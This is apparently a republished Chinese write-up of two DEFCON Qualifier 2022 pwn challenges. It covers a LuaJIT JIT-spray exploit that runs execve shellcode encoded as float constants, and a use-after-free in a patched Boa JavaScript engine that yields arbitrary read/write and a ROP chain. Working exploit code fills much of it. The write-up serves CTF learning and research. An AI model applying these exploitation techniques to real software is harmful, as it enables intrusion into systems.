DEFCON-Qualifier-2022 pwn smuggler's cove/constricted 题解
2022-6-16 23:40:58 Author: xz.aliyun.com(查看原文) 阅读量:18 收藏

本文是对 Defcon 资格赛中 Pwn 方向两道题目的复现,分别是 smuggler's cove 以及 constricted。难度相比以往的国内赛要高不少,但是同时也学习到了不少新的知识。以下为这两道题目的分析。

smuggler's cove

漏洞分析

这道题是C语言实现的对LuaJIT的包装,最关键的地方在它可以对执行 JIT 代码的初始位置进行再设置,代码如下,mcode 代表 JIT 的代码,可以根据 offset 设定其入口位置为任意值。

int debug_jit(lua_State* L) {
...
    if (offset != 0) {
        if (offset >= t->szmcode - 1) {
            return luaL_error(L, "Avast! Offset too large!");
        }
        t->mcode += offset;
        t->szmcode -= offset;
        printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
    }
...
}
void init_lua(lua_State* L) {
    lua_pushcfunction(L, debug_jit);
    lua_setglobal(L, "cargo");
}

这意味着可以跳转到 mcode 内的任何位置并且执行。如果跳转位置不是一条完整的指令,例如操作数,则该位置处的操作数将会被读入为汇编指令。这种利用方法的名称为 JIT Spray,以论文 SoK: Make JIT-Spray Great Again 里的一个 ActionScript JIT 的例子进行说明,这里有一个 ActionScript 实现的一个长的表达式,计算多个数字异或的结果:

var y=(
    0x3c909090 ^ 
    0x3c909090 ^ 
    0x3c909090 ^ 
    ...
}

ActionScript JIT 编译器生成的汇编代码如下第一段指令,虽然这些指令运算了上面的表达式,但如果从第一个偏移量开始执行,就会执行不同的指令,如下第二段指令。由于 ActionScript 的常量完全由攻击者控制,因此可以注入小于或等于三个字节大小的任意汇编指令。第四字节 0x3C 的作用是掩盖操作码 0x35 所代表的合法操作,并产生一个类似 nop 语义的 cmp al, 0x35 。它还可以防止指令的再同步。

0x00: B8 9090903C      mov eax, 0x3c909090
0x05: 35 9090903C      xor eax, 0x3c909090
0x0a: 35 9090903C      xor eax, 0x3c909090
0x01: 90 nop
0x02: 90 nop
0x03: 90 nop
0x04: 3C35 cmp al, 0x35
0x06: 90 nop
0x07: 90 nop
0x08: 90 nop
0x09: 3C35 cmp al, 0x35
0x0b: 90 nop
0x0c: 90 nop
0x0d: 90 nop
...

mcode中的立即数

使用 JIT Spray 的利用方法,第一步是在 JIT 代码中构造立即数,但是实际调试会发现,赋值时的立即数并没有像预想那样放在指令的操作数里。例如这个例子:

a = {}
function b()
a[0]=0x1234;
a[1]=0x12345678;
a[2]=0x123456789012;
a[3]=1.1;
end 
b();
b();
cargo(b, 0x0);
b();

它编译成JIT后的结果如下,可以看到,参数被放到了 xmm 寄存器里。

查看 xmm 的值,发现整数按照浮点数的格式存储,符合 IEEE 754 标准。

继续尝试所有符合 Rust 语法的立即数放置方式,最终发现,Array 的索引值会成为8字节的立即数,例如构造如下代码,0x1111111111111的浮点数就会成为立即数。

a = {}
function b()
a[0x1111111111111]=0x2222222222222;  
end 
b();
b();
cargo(b, 0x0);
b();

shellcode链构造

在可以稳定构造8字节的立即数后,我们可以在 JIT 代码中布置若干立即数,并在单个立即数中构造汇编代码加上跳转指令,跳转到下一个立即数继续执行。这样可以形成一组实现任意功能的 shellcode 链。其中,跳转指令使用短跳转指令,形式为\xeb+offset-2

由于题目获取flag的命令已经提示为 ./dig_up_the_loot x marks the spot,因此构造的 shellcode 则需要执行 execve("./dig_up_the_loot",{"./dig_up_the_loot", "x", "marks", "the", "spot", NULL}, NULL);,由于短跳转需要最小占据2字节的长度,因此除了跳转指令外,构造的汇编代码不能超过6字节,不足的地方可以用 nop 填补。

接下来将8字节汇编数据转成浮点数,其中一共需要20个浮点数才能完整地构造 shellcode 链。这里是将 shellcode 转为浮点数并生成 rust 代码的脚本

a = {}
function b()
a[1.4957223655503106e-164]=0;
a[1.495815476778225e-164]=0;
a[1.495841708495309e-164]=0;
a[1.4873392666992543e-164]=0;
a[1.4879738606775951e-164]=0;
a[1.495841708495309e-164]=0;
a[1.465296784398639e-164]=0;
a[1.4888193271265417e-164]=0;
a[1.495841708495309e-164]=0;
a[1.4866937687679482e-164]=0;
a[1.4890362322246634e-164]=0;
a[1.495841708495309e-164]=0;
a[1.4875381479693369e-164]=0;
a[1.497704141875117e-164]=0;
a[1.4823931673038887e-164]=0;
a[1.4957894513827388e-164]=0;
a[1.4957894578518181e-164]=0;
a[1.4957894449136594e-164]=0;
a[1.4957894966662944e-164]=0;
a[2.6348604765033886e-284]=0;
a[1.4958420697436709e-164]=0;
end 
b();
b();
cargo(b, 0x6a);
b();

然而,题目对 exp 代码长度进行了433字节的限制。上面的代码不满足该条件,并且经过计算,在去掉一切非必要的空格换行等字符的条件下最多只能写13个浮点数,也就是 shellcode 链最多只能有13组8字节指令。

#define MAX_SIZE 433

从指令本身入手进行精简是一种方法,例如使用相同语义字符更少的指令。但是这样能缩减的字符数有限,并且注意到原 shellcode 里最占字符的数据是要执行的命令 ./dig_up_the_loot x marks the spot 。因此将字符串形式的命令直接写入 exp 代码,并且尝试在 JIT 内通过可用的数据找到存储 exp 代码的内存。于是构造如下代码:

a = {}
c = "./dig_up_the_loot x marks the spot"
function b(s)
a[1.4957223655503106e-164]=0;
end 
b(c);
b(c);
cargo(b, 0x6a);
b(c);

调试发现,运行到 JIT 时实际上全部源码都在可索引的范围内,RBX、RCX 和源码甚至在同一个页里。

开启 ASLR 后,发现源码和 RBX、RCX 的偏移也同样是固定的。

基于以上想法构造如下代码和 shellcode,合并之后只需要9个浮点数。最终的 exp 如下:

a = {}
c = "./dig_up_the_loot\x00x\x00marks\x00the\x00spot"
function b(s)
a[6.296558090174646e-155]=0;
a[2.41846297676398e-222]=0;
a[1.8879529989201158e-193]=0;
a[1.8879518185292636e-193]=0;
a[1.8879517130205247e-193]=0;
a[1.8879517211856508e-193]=0;
a[1.8879517048553986e-193]=0;
a[1.8879517701764074e-193]=0;
a[2.6348604765033886e-284]=0;
end 
b(c);
b(c);
cargo(b, 0x6a);
b(c);

constricted

补丁分析

题目基于 BOA,一个 Rust 实现的 Javascript 解释器,并且提供了补丁代码。第一步根据依赖的库版本和代码行号对commit进行定位,并且应用补丁。

git reset --hard 5a9ced380629db85a9fc7dee3ec93bf15c0ff6ed
patch -p1 < ../../constricted.patch

Patch中最重要的部分是实现了TimeCache作为 OrderedMap<TimeCachedValue>结构的 Newtype并实现了它的 BuiltIn 特性。TimeCachedValue 有两个字段 expiredatadataJsObject 对象,expire则为一个u128的整数,标记 data 的到期时间。针对TimeCachedValueTrace方法会根据 TimeCachedValue 的到期时间来决定是否对data对象进行mark[1],被mark的对象不会被垃圾回收算法释放。以上涉及到 BOA 中使用到的垃圾回收库 rust-gc ,它使用 mark-sweep 算法实现垃圾回收,这种算法为代码中使用到的每一个对象设置一个标志位,在mark阶段,对整个代码的 "根集” 进行树状遍历,将根所指向的每个对象标记为 “活跃”。然后在sweep阶段对内存进行扫描,将所有未被标记为“活跃”的对象进行释放,并清空所有标记,为下一个周期做准备。

pub(crate) struct TimedCache(OrderedMap<TimeCachedValue>);

pub struct TimeCachedValue {
    expire: u128,
    data: JsObject,
}

impl Finalize for TimeCachedValue {}
unsafe impl Trace for TimeCachedValue {
    custom_trace!(this, {
        if !this.is_expired() {
            mark(&this.data); // ---->[1]
        } 
    });
}

TimeCacheBuiltIn中最重要的部分是注册的三个method,分别是set, gethas,代码位于 boa_engine/src/builtins/timed_cache/mod.rs

TimedCache.prototype.set( key, value, lifetime )函数向 OrderedMap中插入一个key:TimeCachedValue(value,expire)的键值对。此处的 expire到期时间由参数 lifetime与当前时间相加计算得到[2],单位是毫秒。

pub(crate) fn set(
        this: &JsValue,
        args: &[JsValue],
        context: &mut Context,
    ) -> JsResult<JsValue> {
        let key = args.get_or_undefined(0);
        let value = args.get_or_undefined(1);

        if let Some(object) = this.as_object() {
            if let Some(cache) = object.borrow_mut().as_timed_cache_mut() {
                let key = match key {
                    JsValue::Rational(r) => {
                        if r.is_zero() {
                            JsValue::Rational(0f64)
                        } else {
                            key.clone()
                        }
                    }
                    _ => key.clone(),
                };

                if let Some(value_obj) = value.as_object() {
                    let expire = calculate_expire(args.get_or_undefined(2), context)?; // ------>[2]
                    cache.insert(key, TimeCachedValue::new(
                            value_obj.clone(), expire as u128));
                    return Ok(this.clone());
                }
                return context.throw_type_error("'value' i not an Object");
            }
        }
        context.throw_type_error("'this' is not a Map")
    }

TimedCache.prototype.get( key, lifetime=null )函数根据参数key返回OrderedMap中对应的TimeCachedValue,如果没有或者TimeCachedValue已经超过到期时间,则返回 undefined。此外,也可以再次传入 lifetime 参数设置这个对象的到期时间。

pub(crate) fn get(
        this: &JsValue,
        args: &[JsValue],
        context: &mut Context,
    ) -> JsResult<JsValue> {
        const JS_ZERO: &JsValue = &JsValue::Rational(0f64);

        let key = args.get_or_undefined(0);
        let key = match key {
            JsValue::Rational(r) => {
                if r.is_zero() {
                    JS_ZERO
                } else {
                    key
                }
            }
            _ => key,
        };

        if let JsValue::Object(ref object) = this {
            if !check_is_not_expired(object, key, context)? {
                return Ok(JsValue::undefined());
            }

            let new_lifetime = args.get_or_undefined(1);
            let expire = if !new_lifetime.is_undefined() && !new_lifetime.is_null() {
                Some(calculate_expire(new_lifetime, context)?)
            } else {
                None
            };

            if let Some(cache) = object.borrow_mut().as_timed_cache_mut() {
                if let Some(cached_val) = cache.get_mut(key) {
                    if let Some(expire) = expire {
                        cached_val.expire = expire as u128;
                    }
                    return Ok(JsValue::Object(cached_val.data.clone()));
                }
                return Ok(JsValue::undefined());
            }
        }

        context.throw_type_error("'this' is not a Map")
    }

漏洞分析

以上补丁相当于维护了一个 TimeCache 的队列,我们通过 set()get() 向其中存取对象。但是这里有一个问题,set() 插入到 TimeCache 的对象到期后并不会从队列中删除,也就是说队列中可以存在一个已经被释放掉的对象,如果我们可以将它取出,那就能构造到一个 UAF 漏洞。但事实上 get() 会检查对象的到期时间,如果已经到期则会返回 undefined 。注意到 get() 函数取对象的操作在检查之后,因此如果能够在时间检查和对象取值之间释放该对象,那么就可以拿到一个被释放后的对象。

漏洞利用

注意到如果在TimedCache.prototype.get( key, lifetime=null )中设置了 lifetime 的值,则会在 calculate_expire 中取出这个值进行计算。如果lifetime存在 valudOf 属性,则取值的时候有机会执行回调函数。在回调函数内部可以实现对象释放。

构造如下代码,首先用set()注册一个 key 为 “first” 的 object,到期时间为1000。这里重写 fake_expire_timevalueOf() 函数,并用fake_expire_time 作为参数用 get() 从队列中取出键为 “first” 的object,这时的 object 没有到期,于是可以通过 get() 的时间检测走到的 calculate_expire 函数。 calculate_expirefake_expire_time 取值的时候会触发 callback,回调函数内部等待对象到期,并调用垃圾回收函数console.collectGarbage()释放对象。等待 get() 函数的返回,返回值则是已经被释放的object指针。

// trigger the UAF
var overlap;
var fake_expire_time = { 1: 2 };
fake_expire_time.valueOf = function () {
  console.sleep(2000);
  console.collectGarbage();
  return -1;
};
var tc = new TimedCache();
tc.set("first", {}, 1000); //---->[3]
var freed_obj = tc.get("first", fake_expire_time);

为了控制这个被释放的 object,我们继续创建新的ArrayBuffer占位。在尝试占位的时候发现占位对象始终为ArrayBuffer的头部数据而非二进制存储数据。经过调试,单个{}占用0x150字节大小的堆内存[3],于是修改 exp 如下:

// trigger the UAF
var overlap;
var fake_expire_time = { 1: 2 };
fake_expire_time.valueOf = function () {
  console.sleep(2000);
  console.collectGarbage();
  overlap = new ArrayBuffer(0x150);
  //{1:{}}                             {1:{}}
  //^    ^  <-- Array Buffer Data         ^^ <-- Array Header
  return -1;
};
var tc = new TimedCache();
tc.set("first", { 1: {} }, 1000); //---->[3]
var info_first = console.debug(tc.get("first"));
console.log(info_first);
var freed_obj = tc.get("first", fake_expire_time);

{ 1: {} }被释放时,两个大小为0x150的内存分别被释放,当分配大小为0x150的 ArrayBuffer时,分别会分配0x150的 Header 和 Array Buffer Data 空间,Header 会占用 inner 对象的内存,Array Buffer Data 则会占用 outer 对象的内存。Array Buffer Data 数据可控,因此 outer 对象的内存可以伪造。分别打印没有 UAF 之前的 tc.get("first”) 和 UAF 之后的 overlap、freed_obj 的值,可以看到 overlap 的 Array Buffer Data 已经和释放的{ 1: {} }重叠。

var info_first = console.debug(tc.get("first"));
console.log(info_first);
console.log(console.debug(overlap));
console.log(console.debug(freed_obj));

接下来伪造数据进行类型混淆。通过将 UAF 的 Object 内存伪造为ArrayBuffer的 Header 内存,并设置 Header 内 Array Buffer Data 的地址就可以实现任意地址读写的原语。通过任意地址读,可以泄露代码基地址、栈地址、libc基地址信息。

var view = new DataView(overlap);
var addr_first = BigInt(info_first.substring(32, 46)) - 0x28n;
var method_addr = BigInt(info_first.substring(58, 72));
function set64(view, idx, value) {
  view.setBigUint64(idx, value, true);
}
var leak_addr = addr_first + 0x100n;
set64(view, 0x28, leak_addr + 2n); //addr+2
set64(view, 6 * 8, leak_addr); //addr
set64(view, 7 * 8, 0x300n);
set64(view, 8 * 8, 0x300n);
set64(view, 9 * 8, 0x300n);
set64(view, 10 * 8, 0x301n); 
set64(view, 14 * 8, leak_addr); //addr
set64(view, 15 * 8, 0x300n);
set64(view, 16 * 8, 0x300n);
set64(view, 17 * 8, method_addr_arr1); //method

console.log(console.debug(freed_obj));
var view_anywhere = new DataView(freed_obj);
function get64(view, idx) {
  return view.getBigUint64(idx, true);
}
var code_addr = get64(view_anywhere, 0x10 + 0x80) - 0x11c9db0n;
var stack_addr = get64(view_anywhere, 0x60 + 0x80);

有了任意地址读写后,最简单的利用方法就是通过读 got 表泄露 libc 地址,并覆盖 libc 中的 __free_hook 为 onegadget,最后用collectGarbage().exit调用 free 触发 onegadget 。然而这道题使用的环境是 ubuntu 20.04,onegadget 的利用条件比较苛刻,几个备选都不能满足条件。

考虑到栈地址和程序基地址已经被泄露,所以可以在栈上写 ROP 进行利用。然而调试发现栈的布局非常不稳定,所以这里在ROP前加了一步栈喷,在存放__libc_start_main 的栈地址附近喷射大量 ret,程序正常退出时调用到这里执行ROP。完整的利用代码见exp.js


文章来源: https://xz.aliyun.com/t/11445
如有侵权请联系:admin#unsafe.sh